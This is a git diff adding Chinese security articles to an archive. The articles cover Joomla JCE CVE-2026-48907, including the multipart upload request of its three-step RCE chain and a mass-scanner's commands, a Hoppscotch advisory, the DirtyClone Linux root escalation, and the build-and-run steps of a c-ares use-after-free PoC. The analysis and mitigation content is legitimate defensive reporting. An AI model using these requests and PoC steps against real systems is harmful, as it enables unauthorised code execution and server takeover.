diff --git a/data.json b/data.json index 723c2088..61f25e6c 100644 --- a/data.json +++ b/data.json @@ -21468,5 +21468,19 @@ "https://mp.weixin.qq.com/s/icBvY0qLBvHyrRncG_6ubw": "OAuth 2.0 身份验证漏洞--portswigger打靶", "https://mp.weixin.qq.com/s/TH8OoTUHHgUsmCZT7MDXtQ": "【我是如何在一个电商平台上发现一个高危IDOR漏洞的】", "https://mp.weixin.qq.com/s/uuVbj65Lyk9DqZAbehW7Rg": "五月学员优秀edu漏洞挖掘案例分享", - "https://mp.weixin.qq.com/s/8YovEBZq2VKNx4lRGfCccA": "一站式 dnslog 漏洞检测平台" + "https://mp.weixin.qq.com/s/8YovEBZq2VKNx4lRGfCccA": "一站式 dnslog 漏洞检测平台", + "https://mp.weixin.qq.com/s/LoWuMtZzwi9BwO93BIW_kg": "旧漏洞，新规则：不用捷径拿下 CVE-2023-36802", + "https://mp.weixin.qq.com/s/HNhBj9K6YtkheqzBk326LA": "DirtyClone：六周内第四起 Linux 内核漏洞，可提权至 Root 权限", + "https://mp.weixin.qq.com/s/8p6cbgnf4EtlobdCG9WKcw": "用AI检测“越权漏洞”，更快更灵！", + "https://mp.weixin.qq.com/s/7beSUH9PKgLLpWiYoEzwWg": "CVSS 10.0！Joomla内容编辑器JCE漏洞正被积极利用，GitHub公开扫描工具", + "https://mp.weixin.qq.com/s/gEE_xUhAQ1eOLWoPwI-jKw": "c-ares TCP Use-After-Free 漏洞深度解析：从 DNS 响应序列到本地 Calculator 代码执行 PoC", + "https://mp.weixin.qq.com/s/KCAkSVibPDd0dEn2gtxg7Q": "蓝凌EIS智慧协同平台mobile_define.aspx∕Getmobiles接口存在SQL注入漏洞 附POC", + "https://mp.weixin.qq.com/s/XiIUKO034OyeZqvp3Hot7A": "CVSS 10 分 Hoppscotch 批量赋值漏洞：服务器完全沦陷", + "https://mp.weixin.qq.com/s/TJQ5W9jsM2dEIaH2hO6yJg": "CVE-2026-48907 Scanner", + "https://mp.weixin.qq.com/s/foiC9AB5OoD6S4XY3pe5TQ": "【深度技术解析】objdump DLX 后端 Out-of-Bounds 写入导致的本地 ACE PoC 详解", + "https://mp.weixin.qq.com/s/GxqFW15BkR0VkzdvI4wQ1A": "蓝凌EIS智慧协同平台 Getmobiles 存在SQL注入漏洞", + "https://mp.weixin.qq.com/s/nuI8dhxZZB7TEF_2ll1rWg": "周鸿祎急了：AI挖漏洞时代来了，中国必须有自己的Mythos", + "https://mp.weixin.qq.com/s/Sb_ySSfXpkbuEH-kJVolOg": "微信小游戏有漏洞？这个工具让你像调试网页一样透视小程序内部", + "https://mp.weixin.qq.com/s/L2Yj8iqgtIjJYTB1qd38BA": "【CVE-2026-43503】DirtyClone 本地用户通过克隆数据包获得 Root 权限", + "https://mp.weixin.qq.com/s/bFVWWTVN9Tmw0kdILfa19w": "安全工具丨一款AI安全审计工具。可实现目标准备、审计、漏洞利用构建和执行验证等" } \ No newline at end of file diff --git a/doc/2026-06/CVE-2026-48907 Scanner.md b/doc/2026-06/CVE-2026-48907 Scanner.md new file mode 100644 index 00000000..4d4be895 --- /dev/null +++ b/doc/2026-06/CVE-2026-48907 Scanner.md @@ -0,0 +1,87 @@ +# CVE-2026-48907 Scanner + Ots安全 2026-06-29 01:10 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +概述 + +masta-cve-2026-48907.py是一个完全原创的单文件Python 扫描器，旨在检测运行 JCE 编辑器组件版本低于 的 Joomla! 实例中的CVE-2026-489072.9.99.5。 +- 纯 stdlib HTTP — 无requests/httpx依赖。 + +- 独立文件.py——您可以将一个文件放到任何地方。 + +- 优雅降级——无需openpyxl或即可运行rich，但安装后外观更美观。 + +- 零误报远程代码执行——通过数学验证有效载荷进行确认。 + +- 线程式批量扫描——通过以下方式快速扫描整个 URL 列表ThreadPoolExecutor。 + +- 专业报表功能——自动生成.xlsx带有条件颜色的样式化 Excel ( ) 报表。 + +安装 + +``` +# 1. Clone the repo +git clone https://github.com/YOUR_USERNAME/masta-cve-2026-48907.git +cd masta-cve-2026-48907 + +# 2. (Optional but recommended) install extras +pip install -r requirements.txt +``` + + +``` +python masta-cve-2026-48907.py -h + +  -u URL Single target URL +  -l FILE File containing URLs (one per line) +  -o OUTPUT Custom Excel output path +  -t THREADS Concurrent threads (default: 5) +  -p PROXY Proxy URL (e.g. http://127.0.0.1:8080) +  --timeout N    Request timeout in seconds (default: 12) +  --verify-ssl Enable SSL certificate verification (default: disabled) +  -v, --verbose  Show full per-target result cards during scan +  -d, --debug    Show internal HTTP request traces +  --no-color Disable colored terminal output +``` + + +单目标： + +``` +python masta-cve-2026-48907.py -u https://target.com/joomla +``` + + +批量： + +``` +python masta-cve-2026-48907.py -l targets.txt -t 10 +``` + + +项目地址： + +https://github.com/gh1mau/masta-cve-2026-48907 + +**END** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0FXqSyPb7qZOuQ5fxUlic0p6tZVZJPG2vKXav2UPicnd2xOupiby9TcKZ46dmFxSHg0icaWskKA1yuSGfZ8HC7ndnu8ZtUKDUWOGmU/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-06/CVSS 10 分 Hoppscotch 批量赋值漏洞：服务器完全沦陷.md b/doc/2026-06/CVSS 10 分 Hoppscotch 批量赋值漏洞：服务器完全沦陷.md new file mode 100644 index 00000000..88125858 --- /dev/null +++ b/doc/2026-06/CVSS 10 分 Hoppscotch 批量赋值漏洞：服务器完全沦陷.md @@ -0,0 +1,44 @@ +# CVSS 10 分 Hoppscotch 批量赋值漏洞：服务器完全沦陷 +sec随谈 + sec随谈 sec随谈 2026-06-29 01:15 + +一个严重的 Hoppscotch 批量赋值 +漏洞 +正威胁着自托管的 API 部署。该漏洞编号为  +CVE-2026-50160 +，允许未经身份验证的用户彻底接管实例。 + +**摘要** + +安全研究人员在 Hoppscotch API 开发生态系统中发现了一个 CVSS 10 分的漏洞。这个 Hoppscotch 批量赋值问题允许攻击者覆盖关键的安全密钥。因此，黑客可以通过伪造管理员令牌实现服务器的完全沦陷。 + +**影响为何重大** + +该漏洞使各组织在软件初始部署阶段暴露于风险之中。自托管实例在管理员完成初始化（onboarding）流程之前面临极高风险。报告指出，"自托管的 Hoppscotch 实例在初始设置期间会暴露在互联网上"。因此，从部署到完成之间的时间窗口使系统极易遭受攻击。 + +攻击者可以覆盖会话密钥（session secret）和 JWT 签名密钥的值。因此，他们无需知晓凭据，即可为任意用户身份伪造 JWT 令牌。这使他们获得了持久的管理员访问权限。即使合法管理员重置了自己的凭据，攻击者仍掌握着签名密钥的控制权。他们将一直保有这种访问权限，直到该部署被彻底拆除。 + +此外，入侵者还能利用经过身份验证的 GraphQL 查询，窃取所有存储的工作区、API 密钥和团队数据。攻击者还可以注入其他密钥来削弱密码哈希强度。他们甚至能够覆盖用于 Google、GitHub 和 Microsoft 集成的 OAuth 应用密钥。 + +**攻击如何实现** + +该攻击针对初始化配置端点。在用户数量仍为零时，此端点会接受未经身份验证的请求。应用程序使用了一套验证管道（validation pipe）配置，但未能实施严格的白名单规则，也不会剥离传入请求中的额外属性。 + +因此，攻击者可以通过批量赋值向数据库注入任意配置密钥。服务层会毫无限制地遍历所有提供的密钥，并直接进行类型转换，而不执行运行时检查。由于应用程序缺少针对安全密钥的明确验证逻辑，数据库会悄无声息地接受这些恶意输入。其 switch 语句只是直接跳转至默认的 break 分支。 + +攻击者发送一个特制的 JSON 载荷，其中包含恶意密钥以及合法的初始化字段。服务器保存这些密钥后，便立即将完全控制权拱手交给了攻击者。 + +**受影响的版本** + +这一严重漏洞影响运行 2026.4.1 及更早版本的 Hoppscotch 部署。该风险严格限于初始化尚未完成的全新安装实例。安全团队尚未确认该漏洞已在野外被实际利用。不过，已存在一个可运行的概念验证（PoC）。 + +**补丁与缓解措施** + +管理员必须立即保护其实例。你应升级至 Hoppscotch 2026.5.0 版本以解决此问题。开发者已通过强制执行严格的验证规则修复了该端点。更多详情请参阅 +官方安全公告 +。此外，团队应在部署新实例后立即完成初始化设置。这一操作会改变用户数量，并彻底禁用该存在漏洞的端点。 + +参考链接： + +https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf + diff --git a/doc/2026-06/CVSS 10.0！Joomla内容编辑器JCE漏洞正被积极利用，GitHub公开扫描工具.md b/doc/2026-06/CVSS 10.0！Joomla内容编辑器JCE漏洞正被积极利用，GitHub公开扫描工具.md new file mode 100644 index 00000000..fac707c9 --- /dev/null +++ b/doc/2026-06/CVSS 10.0！Joomla内容编辑器JCE漏洞正被积极利用，GitHub公开扫描工具.md @@ -0,0 +1,186 @@ +# CVSS 10.0！Joomla内容编辑器JCE漏洞正被积极利用，GitHub公开扫描工具 +原创 Red Hunter + Red Hunter 黑白之道 2026-06-29 00:38 + +[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618185&idx=1&sn=e7a4ddec94c9af10451bca515c67e228&scene=21#wechat_redirect) +> **导语** +：美国网络安全和基础设施安全局（CISA）将Joomla最流行内容编辑器JCE的一个满分漏洞CVE-2026-48907列入已知被利用漏洞（KEV）目录，明确确认该漏洞正在被积极攻击。攻击者无需任何认证，仅需三步HTTP请求即可在服务器上执行任意PHP代码。GitHub上已出现公开的扫描工具，安全形势严峻。 + +## 一、漏洞概述 + +CVE-2026-48907是Widget Factory公司开发的Joomla Content Editor（即JCE，Joomla最流行的内容编辑器，也是安装量最大的Joomla扩展之一）中的一个严重漏洞。 + +该漏洞属于不当访问控制（Improper Access Control），允许未认证的攻击者通过JCE的资料导入功能上传并执行任意PHP代码，最终获得服务器完整控制权。由于无需认证、无需用户交互，且直接导致远程代码执行，该漏洞的CVSS v4评分达到了满分**10.0** +，属于紧急程度最高的漏洞。 + +漏洞影响范围涵盖JCE版本**1.0.0至2.9.99.4** +。官方已于2026年6月3日发布2.9.99.5版本修复此问题，并在随后6月10日的2.9.99.6版本中进行了额外加固。 + +![JCE漏洞扫描工具功能截图](https://mmbiz.qpic.cn/sz_mmbiz_jpg/nGzNudUIJ6PXVvicCPaVkGAo9whPfnUK9nutMvxjJhwDCKIcDtMjNmpvQ8hWUtA7iaAZsohG0obC0TDtcHzkR7twM05IecHfGAicnXFjjTD4rg/640?wx_fmt=jpeg "JCE漏洞扫描工具功能截图") +## 二、CISA确认被积极利用，联邦机构被强制修复 + +2026年6月16日，CISA将CVE-2026-48907正式列入KEV目录，并在公告中明确指出已有证据表明该漏洞正在被**主动利用** +。 + +联邦民政执行机构（FCEB）被要求在**2026年6月19日** +前完成修复补丁应用，留给管理员的窗口极短。 + +JCE官方在安全公告中特别警告： +> "该漏洞正在被积极利用，可用的利用代码已公开，且攻击已实现自动化。即使网站没有开放公开注册功能，也并不安全。" + + +官方还强调了一个关键点：**更新补丁只能关闭攻击入口，但无法清除已被入侵的网站中攻击者留下的后门程序** +。这意味着如果站点在更新前已被攻陷，仅靠更新无法根除威胁，必须进行完整的安全排查。 + +mySites.guru的安全研究人员Phil E. Taylor披露，攻击者正利用该漏洞导入恶意编辑器资料，借此在服务器上部署WebShell，从而建立持久化后门。 + +![攻击流程示意图](https://mmbiz.qpic.cn/mmbiz_jpg/nGzNudUIJ6PATs0BSz6Oj1vGunZZY7Hibch29LLKpDNibZDpqafWkAEaEJ2ygdfPPujPG1LnByJNTiafUrkKiaCicsn8eReTCRn2uyAFEwvHQcrY/640?wx_fmt=jpeg "攻击流程示意图") +## 三、技术分析：三层漏洞链如何打通RCE + +安全研究团队YesWeHack对该漏洞进行了完整的技术分析，揭示了这是一个由**三个独立弱点串联** +形成的完美攻击链。移除其中任意一环，攻击即会中断。 +### 第一层：缺失的授权验证 + +JCE的资料导入端点（/index.php?option=com_jce&task=profiles.import +）在2.9.99.5之前的版本中，唯一的安全检查是CSRF token验证。 + +Joomla会在每个公开页面中嵌入CSRF token（作为隐藏表单字段或JavaScript变量），因此攻击者只需抓取任意一个页面的HTML即可获得有效token。CSRF检查只能阻止跨站表单提交，无法阻止攻击者自己构造的直接请求。 + +更关键的是，该端点没有任何Factory::getUser() +或$user->authorise(...) +调用，完全不检查用户身份。任何持有有效CSRF token的人都可以调用这个管理功能。 +### 第二层：无文件扩展名验证 + +文件上传处理代码使用File::makeSafe() +对文件名进行处理，但该方法仅去除操作系统非法的字符（空格、空字节、Shell元字符等），**完全不检查文件扩展名** +。 + +这意味着像nuclei-deadbeef.xml.php +这样的文件名可以毫无阻碍地通过"安全检查"——从文件系统角度它确实是"安全"的。服务器直接接受.php +、.php5 +、.phtml +乃至nuclei-hash.xml.php +这样的双后缀文件名。 +### 第三层：allow_unsafe=true关闭了最后防线 + +这是决定性的使能因素。Joomla的File::upload() +方法签名如下： +``` +File::upload($src, $dest, $use_streams = false, $allow_unsafe = false) +``` + +当$allow_unsafe +为false +（默认值）时，Joomla会启用内置的危险扩展名黑名单（.php、.php3~.php7、.phtml、.exe等），直接拒绝或重命名匹配文件。 + +但漏洞代码传递了true +作为第四个参数： +``` +File::upload($source, $destination, false, true);  // 关闭了安全机制！ +``` + +这明确禁用了Joomla的最后一道内置防线，文件以原始.php +扩展名被写入tmp/ +目录，可被Web服务器直接解析执行。 +## 四、完整攻击流程：仅需三次HTTP请求 + +三个弱点串联，构成了一个只需三次HTTP请求的RCE攻击链： + +**第一步** +：访问目标站点任意页面，从HTML或JavaScript中提取CSRF token。 + +**第二步** +：发送精心构造的multipart POST请求，携带有效CSRF token，POST到/index.php?option=com_jce&task=profiles.import +，上传文件名类似nuclei-hash.xml.php +的PHP文件。 +``` +POST /index.php?option=com_jce&task=profiles.importContent-Type: multipart/form-data--boundaryContent-Disposition: form-data; name="task"profiles.import--boundaryContent-Disposition: form-data; name=""1--boundaryContent-Disposition: form-data; name="profile_file"; filename="nuclei-deadbeef.xml.php"Content-Type: application/xml--boundary-- +``` + +服务器返回200 OK，文件已被写入/var/www/html/tmp/nuclei-deadbeef.xml.php +。 + +**第三步** +：直接通过HTTP访问上传的PHP文件，即可执行代码。访问/tmp/nuclei-deadbeef.xml.php +，响应体返回3105 +（即45×69的计算结果），RCE确认。 + +整个过程：**无会话Cookie、无用户名、无密码** +。 +## 五、补丁分析：六层修复全面封堵 + +2.9.99.5版本从六个维度封堵了漏洞： +
修复层
措施
授权检查
所有管理操作增加core.manage权限验证，访客用户（ID=0）直接被拒绝
扩展名白名单
仅接受.xml扩展名，且使用PATHINFO_EXTENSION取最后一个后缀组件，防止双后缀绕过
关闭unsafe标志
$allow_unsafe
恢复为默认值false，重新启用扩展名黑名单
文件大小限制
上传文件限制512KB，阻断大体积恶意载荷
XXE防护
对PHP 7.x显式调用libxml_disable_entity_loader(true)，防止XML外部实体攻击
字段白名单
仅处理固定的合法XML字段名（name、rows、plugins等），忽略其他任意键
## 六、GitHub公开扫描工具：防御者的双刃剑 + +正如DarkWebInformer报道的，GitHub上已出现专门扫描CVE-2026-48907漏洞的工具（仓库：gh1mau/masta-cve-2026-48907）。该工具公开宣传的功能包括： +- Joomla和JCE指纹识别及版本检测 + +- 受影响JCE安装的版本检查 + +- WAF检测 + +- 批量目标扫描 + +- 多线程扫描支持 + +- 代理支持 + +- 终端结果卡片输出 + +- Excel报告生成 + +- **侵入性PoC验证** +（直接对目标执行漏洞验证） + +- 上传测试文件清理提醒 + +![GitHub上的CVE-2026-48907扫描工具仓库](https://mmbiz.qpic.cn/sz_mmbiz_jpg/nGzNudUIJ6PGHZQG7e3mdAvTGkjyLGwdytqoo6ficZGbxfBzXGnTDFQu5j3iaOyzIicgDPzD0hjIibwhibCwibwvzMTG1n6cZAw5EEW3wJ5lBV0OE/640?wx_fmt=jpeg "GitHub上的CVE-2026-48907扫描工具仓库") + +安全社区对"侵入性PoC验证"功能存在争议——对未经授权的目标执行此类验证本身就是违法行动，批量扫描更是直接跨越了研究与攻击的边界。 +## 七、应急响应建议 + +对于已使用受影响版本JCE的站点管理员： + +**立即行动** +： +- 升级至JCE **2.9.99.6** +或更高版本，这是最直接的缓解措施 + +- 使用CDN或WAF限制对/component/jce/ +路径的访问（临时措施） + +**深度排查** +（已中招但已更新的站点）**： +- 检查JCE管理后台是否存在来源不明的编辑器资料配置文件 + +- 审计Web服务器访问日志，查找对index.php?option=com_jce&task=profiles.import +端点的非授权请求 + +- 检查tmp/ +目录是否存在异常PHP文件（尤其是日期较早或文件名含随机哈希的） + +- 查找服务器上是否存在攻击者遗留的WebShell + +**历史站点特殊处理** +：JCE官方为无法立即升级的老版本站点提供了免费补丁（jce-pro older sites patch），请参阅官方公告获取。 +## 八、总结 + +CVE-2026-48907是一个教科书级别的"三弱串联"漏洞：缺失授权给了任何人入口，扩展名无检查让.php文件畅通无阻，allow_unsafe=true +亲手拆掉了最后一道防线。三者叠加，成就了一个满分10.0的未授权RCE。 + +CISA已确认在野利用，公开利用代码已扩散，GitHub扫描工具已上线——留给使用JCE的Joomla站点管理员的时间不多了。立即打补丁，补丁打完后排查后门，别把补丁当成万能药。 + +**版权声明** +：本文由华盟网原创发布，保留所有权利。配图由华盟网授权使用。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/nGzNudUIJ6Puc8HNiaVFMibMWyXuRCjam9iat0x1rCpsp1iatD7HveaKn7X0FMG8AlYEYZQbWQjAzjbYJjgdDQYTxLsn3W66vehH9V8LV2z9XnE/640?wx_fmt=jpeg "") + +[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618755&idx=1&sn=48e0a85464fb20c73b6f338928a8f850&scene=21#wechat_redirect) + +[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618776&idx=2&sn=a8fc65fd2a71822830022fc52d967bcd&scene=21#wechat_redirect) + +[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618496&idx=1&sn=96ecdff99136258a4bf2cb156542311e&scene=21#wechat_redirect) +> 👇 点击**阅读原文** +，访问我的网站 + + diff --git a/doc/2026-06/DirtyClone：六周内第四起 Linux 内核漏洞，可提权至 Root 权限.md b/doc/2026-06/DirtyClone：六周内第四起 Linux 内核漏洞，可提权至 Root 权限.md new file mode 100644 index 00000000..be504ba8 --- /dev/null +++ b/doc/2026-06/DirtyClone：六周内第四起 Linux 内核漏洞，可提权至 Root 权限.md @@ -0,0 +1,34 @@ +# DirtyClone：六周内第四起 Linux 内核漏洞，可提权至 Root 权限 +鹏鹏同学 + 鹏鹏同学 黑猫安全 2026-06-29 01:50 + +![](https://mmbiz.qpic.cn/mmbiz_png/DYqn7TU9icq3sTj7ARl0GUT9UDWgAMsu7lqPxpbdC3nMQU109patQ0qRGofZDriay9AU7lILKiccjgpwug8IHSQq9GPWojZUn7OHsEYxyiac0TE/640?wx_fmt=png&from=appmsg "") + +JFrog 安全研究团队于 6 月 25 日公开了 CVE-2026-43503 漏洞的完整利用流程，该漏洞 CVSS 评分为 8.8，也就是被命名为 DirtyClone 的 Linux 内核权限提升漏洞。这是 DirtyFrag 漏洞家族出现的第四个安全缺陷，所有同源漏洞都源于同一个底层缺陷：把基于文件的内存当作数据包处理，网络原地写入操作直接修改内存，而没有执行内存拷贝。如果你的内核还没有打上 5 月 21 日主线版本补丁，请立即升级。 + +JFrog 在报告中写道：“该漏洞危害极高，任意无权限本地用户都可以通过篡改 Linux 页缓存实现本地提权（LPE），获取 Root 管理员权限。该攻击全程静默，不会留下内核日志与审计记录，还能够绕过主流磁盘完整性监控工具。” + +攻击者将 /usr/bin/su 等高权限程序加载到内存，把对应的内存页封装进网络数据包，并迫使内核经由攻击者可控的本地回环 IPsec 隧道复制这份数据。解密过程会用自定义数据覆盖程序的身份校验逻辑，再次执行 su 命令就能拿到 Root 权限，而磁盘上的原始文件不会发生任何改动。 + +该漏洞利用需要 CAP_NET_ADMIN 权限来搭建 IPsec 环境。在 Debian 与 Fedora 系统中，默认开启非特权用户命名空间，普通本地用户就能获取这项权限。 + +报告中写道：“攻击者首先新建一个独立网络命名空间：unshare -Urn执行后即可在该命名空间内获得网络管理权限。权限作用域仅局限于命名空间，但页缓存是主机全局共享的。一旦通过共享映射篡改了文件内存页，修改结果会同步影响所有调用该内存页的进程。” + +Ubuntu 24.04 及后续版本通过 AppArmor 限制了命名空间创建，阻断了这条默认利用链路；其余保持默认命名空间配置的发行版均面临风险。 + +目前 DirtyFrag 漏洞家族已出现 4 个成员：4 月下旬爆出 Copy Fail（CVE-2026-31431）；5 月 7 日披露 DirtyFrag（CVE-2026-43284、CVE-2026-43500）；5 月 13 日出现 Fragnesia（CVE-2026-46300），该漏洞利用 skb_try_coalesce () 函数的标志位清除缺陷，绕过了 DirtyFrag 的修复补丁。 + +报告介绍：“DirtyFrag 属于 Linux 内核网络协议栈的内存破坏漏洞，问题出在套接字缓冲区（skb）对共享页缓存内存的引用逻辑。攻击者可以借助 XFRM/IPsec、RxRPC 等子系统的原地加密解密操作，把该缺陷制作为攻击载荷。DirtyFrag、Fragnesia、DirtyClone 虽然攻击的数据包复制、转发路径各不相同，但核心手段完全一致：欺骗内核，将只读的文件映射页缓存当成可写的网络缓冲区。” + +早期补丁只封堵了单条代码路径，其余风险点依然敞开。内核有一条基础约束：所有处理套接字分片的函数，必须始终保留 shared-frag 共享分片标志，但这条规则始终没有在全网栈代码中全面落地。 + +最早发现 DirtyFrag 漏洞的研究员金铉宇，在 5 月 16 日提交了覆盖全部分片处理函数的大范围修复补丁。JFrog 团队在 5 月 19 日独立发现了另一个受影响函数，编写了可运行 EXP 并完成上报。整合后的修复代码于 5 月 21 日合并进主线内核，CVE-2026-43503 在 5 月 23 日正式公开，5 月 24 日发布的 Linux v7.1-rc5 是首个修复版本。目前 Ubuntu、Debian、SUSE 都已发布安全公告，红帽也已录入 Bugzilla 工单。 + +如果暂时无法安装补丁，可以采用两种缓解方案缩小攻击面： +1. 在 Debian、Ubuntu 系统中将 kernel.unprivileged_userns_clone=0，阻止普通用户通过命名空间拿到 CAP_NET_ADMIN 权限； + +1. 拉黑 esp4、esp6、rxrpc 内核模块，移除漏洞依赖的原地解密基础能力，代价是 IPsec 与 AFS 服务无法正常运行。 + +以上仅为临时缓解手段，不能彻底根除风险。DirtyFrag 这类漏洞大概率还会出现新变种：任何分片传输函数一旦中途丢失 shared-frag 标志，就可能衍生出新漏洞，而对内核网络栈所有这类代码路径进行全面审计，仍是一项庞大且尚未收尾的工作。 + + diff --git a/doc/2026-06/c-ares TCP Use-After-Free 漏洞深度解析：从 DNS 响应序列到本地 Calculator 代码执行 PoC.md b/doc/2026-06/c-ares TCP Use-After-Free 漏洞深度解析：从 DNS 响应序列到本地 Calculator 代码执行 PoC.md new file mode 100644 index 00000000..0c0101a0 --- /dev/null +++ b/doc/2026-06/c-ares TCP Use-After-Free 漏洞深度解析：从 DNS 响应序列到本地 Calculator 代码执行 PoC.md @@ -0,0 +1,219 @@ +# c-ares TCP Use-After-Free 漏洞深度解析：从 DNS 响应序列到本地 Calculator 代码执行 PoC + Ots安全 2026-06-29 01:10 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +今天我们来深入剖析一个近期公开的 c-ares 库中的 TCP Use-After-Free（UAF）漏洞，并一步步讲解作者提供的本地 Calculator Proof-of-Concept（Po C）。 + +这个 PoC 不仅能触发漏洞，还能实现受控的代码执行（虽然是 benign 的本地 calculator 作为 payload 演示）。 + +文章会非常详细，从基础知识到漏洞成因、PoC 运行原理、构建步骤、影响范围，再到缓解措施，一一拆解。即使你是初学者，也能跟得上。 + +一、什么是 c-ares？ + +c-ares 是一个用 C 语言编写的异步 DNS 解析器库。它被广泛用于需要高性能、非阻塞 DNS 查询的场景，比如： +- curl / libcurl（异步后端之一） + +- Node.js（历史 vendored） + +- gRPC（默认 DNS resolver） + +- Envoy Proxy + +- Wireshark + +- 各种 Python/Rust/C++ 项目中的异步 DNS 组件 + +它支持 UDP 和 TCP 传输、EDNS 等高级特性，专注于安全和跨平台。为什么重要？ 许多大型系统和应用都直接或间接依赖它。一旦出现内存安全漏洞（如 UAF），潜在影响面很广。 + +二、Use-After-Free（UAF）漏洞基础 + +Use-After-Free 是内存腐败漏洞的一种： +1. 程序分配一块内存（heap 对象）。 + +1. 代码逻辑错误导致这块内存被提前释放（free）。 + +1. 后续代码仍然持有指向这块已释放内存的指针，并继续使用它（use）。 + +1. 攻击者如果能控制已释放内存的内容（heap shaping / spray），就能劫持指针指向的数据（如函数指针），实现任意代码执行或崩溃。 + +在这个 PoC 中，UAF 发生在 TCP DNS 查询处理路径 的 ares_getaddrinfo() 中，具体与 EDNS 重试和连接重置相关。 + +三、漏洞触发路径详解 + +PoC 重现的精确路径如下（非常关键）： +- API：ares_getaddrinfo() + +- 传输：DNS over TCP（ARES_FLAG_USEVC） + +- Channel 配置：ARES_FLAG_EDNS + DNS-only lookups（opts.lookups = "b"） + +- 服务器行为（PoC 自带 loopback DNS-over-TCP server） + +1. 接收 TCP DNS 查询。 + +1. 在一次 read 中返回两个响应（相同 query id）： + +第一个：FORMERR（格式错误），无 OPT 数据 → 触发 EDNS 重试逻辑。 + +第二个：成功的空响应（same query id）。 + +1. 接受重试的 write。 + +1. 重置 TCP 连接（在下一次 internal lookup write 之前）。 + +核心问题：连接重置后，某些查询相关的状态（ares_query_t 中的 node_queries_by_timeout 等）变成了 stale（过时）指针。在后续的 query cleanup 过程中（如 read_answers() → ares_process()），这些 stale 状态被使用，导致 UAF。 + +通过公共的 ares_library_init_mem() allocator hook，PoC 可以精确塑造 heap 布局，让 stale 指针指向精心构造的 skip-list node。最终控制流： + +``` +ares_slist_node_destroy(node) → node->parent->destruct(node->data) → proof_marker() // 攻击者控制的函数 +``` + + +GDB 证据显示调用链清晰：proof_marker() ← ares_slist_node_destroy() ← ... ← ares_process() ← main()。 + +这不是简单崩溃，而是受控间接调用，证明了代码执行潜力。 + +四、PoC 结构与文件说明 + +https://github.com/bikini/exploitarium/tree/main/c-ares-tcp-uaf-calc-poc + +仓库目录：c-ares-tcp-uaf-calc-poc +- poc/cares_tcp_uaf_calc_poc.c：核心 PoC 代码（standalone C 程序 + benign payload）。 + +- scripts/build_from_checkout.sh：从指定 c-ares checkout 构建静态库并链接 PoC。 + +- scripts/run_until_hit.sh：因 heap 布局概率性，自动重试直到命中。 + +- evidence/：GDB 栈 trace、验证日志等证据。 + +- README.md：完整文档（本文主要基于此）。 + +Payload 行为： +- 写入 /tmp/cares_rce_proof_latest 标记文件。 + +- 尝试启动计算器（优先 WSL Windows calc → Linux 常见计算器）。 + +- 成功输出类似 CARES_RCE_PAYLOAD_TRIGGERED。 + +五、如何构建和运行（超详细步骤） + +环境要求（Linux 或 WSL）： +- gcc、cmake、git + +- POSIX sockets + pthreads + +步骤 1：准备 c-ares 源码 + +``` +# 构建 upstream maingit clone --depth 1 https://github.com/c-ares/c-ares.git /tmp/c-ares-main# 或指定 release（v1.34.6）git clone --depth 1 --branch v1.34.6 https://github.com/c-ares/c-ares.git /tmp/c-ares-v1.34.6 +``` + + +步骤 2：构建 PoC + +``` +cd /path/to/exploitarium/c-ares-tcp-uaf-calc-poc./scripts/build_from_checkout.sh /tmp/c-ares-main /tmp/c-ares-main-build ./cares_tcp_uaf_calc_poc +``` + + +（类似地构建 v1.34.6） + +步骤 3：运行 + +``` +chmod +x ./cares_tcp_uaf_calc_poc./scripts/run_until_hit.sh ./cares_tcp_uaf_calc_poc +``` + + +成功标志： +- 看到 CARES_RCE_PAYLOAD_TRIGGERED + +- 计算器弹出 + +- /tmp/cares_rce_proof_latest 文件生成 + +可靠性：heap-layout 敏感，但本地验证经常 run=1 即命中。多次运行也很稳定。 + +六、已验证目标 +- c-ares upstream main（commit c93e50f...）：命中 + +- v1.34.6（最新官方 release at PoC 时间）：命中 + +注意：这是本地 harness，不是通用远程 exploit。它证明在特定路径 + allocator shaping + cleanup 条件下可达代码执行。实际应用 exploitability 取决于很多因素（见下文 Limits）。 + +七、影响范围 + +c-ares 被大量项目使用。需要检查的具体产品包括： +- Node.js（bundled cares） + +- gRPC（默认 resolver ） + +- Envoy Proxy（默认 DNS） + +- curl（可选异步 backend） + +- Wireshark、Python async 库（pycares、aiodns）、Rust crates 等 + +八、为什么这是代码执行而非单纯崩溃？ + +PoC 没有停留在“写坏指针导致 segfault”，而是通过 allocator hook 塑造 skip-list node，让 destruct 函数指针指向 proof_marker()。GDB 确认 IP 控制在 marker 函数，且下方栈帧全是 c-ares 代码。这为真实 RCE 提供了强证据（在支持 heap shaping 的场景下）。 + +九、限制与实际利用难度 +- 需要应用使用受影响的 ares_getaddrinfo() + TCP + EDNS 路径。 + +- 需要 attacker 可控的 DNS 服务器（或中间人）发送特定响应序列。 + +- 高度依赖目标进程的 heap 布局和 allocator 行为。 + +- 沙箱、mitigations（如 ASLR、heap hardening）、重启模型都会影响成败。 + +- 不是 drop-in exploit，仅为研究证明。 + +十、缓解措施 + +首选：等待上游 c-ares 官方修复，升级到 patched 版本，所有静态链接应用必须重新构建。 + +短期绕过： +- 避免对不可信 resolver 强制 DNS over TCP。 + +- 沙箱化 DNS 相关进程。 + +- 监控 DNS 服务异常崩溃。 + +- 清点所有静态 bundled c-ares 副本。 + +动态链接用户更新系统库 + 重启即可；静态链接必须产品级更新。 + +十一、总结与思考 + +这个 PoC 再次提醒我们：即使是成熟的底层库，也可能在复杂的状态机（TCP 重试、EDNS、cleanup）中隐藏 UAF。DNS 解析作为互联网基础，安全风险被低估时，后果可能波及整个生态。 + +研究者通过 loopback server + allocator hook + 精确响应序列，优雅地证明了从 UAF 